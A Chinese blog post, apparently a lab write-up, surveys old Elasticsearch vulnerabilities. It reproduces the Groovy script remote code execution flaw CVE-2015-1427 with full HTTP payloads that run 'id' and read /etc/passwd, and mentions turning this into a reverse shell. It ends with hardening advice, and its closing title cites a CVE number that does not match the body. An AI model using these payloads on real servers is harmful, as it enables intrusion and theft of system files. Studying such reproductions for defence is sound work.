一、ElasticSearch简介
ElasticSearch 是一款Java编写的分布式多用户能力的企业级全文搜索服务,启动此服务默认会开放HTTP-9200端口,如存在相关漏洞,可被攻击者非法操作数据。
Elasticsearch是面向文档型数据库,一条数据在这里就是一个文档,用JSON作为文档序列化的格式
{
"name" : "kali",
"sex" : "Male",
"age" : 25,
"birthDate": "2021/05/01",
"about" : "I like reding book",
"interests": [ "sports", "music" ]}
二、主要漏洞以及影响版本
1、CVE-2014-3120 MVEL脚本命令执行漏洞
elasticsearch v1.2之前的版本存在漏洞,1.2之后默认关闭了动态脚本调用
2、CVE-2015-1427 Groovy脚本代码执行漏洞
elasticsearch 1.3.7、elasticsearch 1.4.0-1.4.2(包含)
3、CVE-2015-3337 elasticsearch-head插件任意文件读取漏洞
elasticsearch 1.4.4 、elasticsearch 1.5.0-1.5.1(包含)
4、CVE-2015-5531目录遍历漏洞
elasticsearch v1.0.0-v1.6.0(包含)
三、漏洞危害及常见攻击方式
1、获取服务器的权限
CVE-2015-1427 Groovy脚本代码执行漏洞
2、读取服务器的敏感文件
CVE-2015-5531 目录遍历漏洞
CVE-2015-3337 elasticsearch-Head插件任意文件读取漏洞
四、漏洞环境搭建
存在elasticsearch漏洞的服务器:192.168.4.128
攻击机(kali):192.168.4.157
工具:firefox、burpsuite
1、首先使用sudo docker-compose up -d 开启漏洞环境
2.使用 sudo docker ps查看docker下的进程,查看该漏洞是否正常开启
3.进入kali,打开firefox
访问192.168.4.128:9200
这时候开启浏览器代理,将流量代理到burpsuite上,进行流量拦截,再次发送请求
该漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据
POST /website/blog/ HTTP/1.1
Host: 192.168.4.128:9200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 16
{"name":"ceshi"}
设置payload,执行代码,
POST /_search?pretty HTTP/1.1
Host: 192.168.4.128:9200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 434
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script":
"import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();"
}
}
}
我们设置payload,让其回显服务器的/etc/passwd的信息
POST /_search?pretty HTTP/1.1
Host: 192.168.4.128:9200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 409
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script":
"import java.io.*;new java.util.Scanner(new File("/etc/passwd")).useDelimiter("\\A").next();"
}
}
}
复现到这里了,如果对payload再修改修改,可以将目标服务器的bash反弹到本机,以达到远程操控远程服务器的目的
五、安全建议
1、elaticsearch禁止向外网开放;
2、业务需要外网开放的,增加严格权限验证;
3、关注官网动态,使用最新版本;
4、elasticsearch在启动的时候以非root用户启动
elasticsearch漏洞还没有复现完,明天继续。。。。。。
原文始发于微信公众号(红豆芷浠):ElasticSearch命令执行漏洞之CVE-2012-3120
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论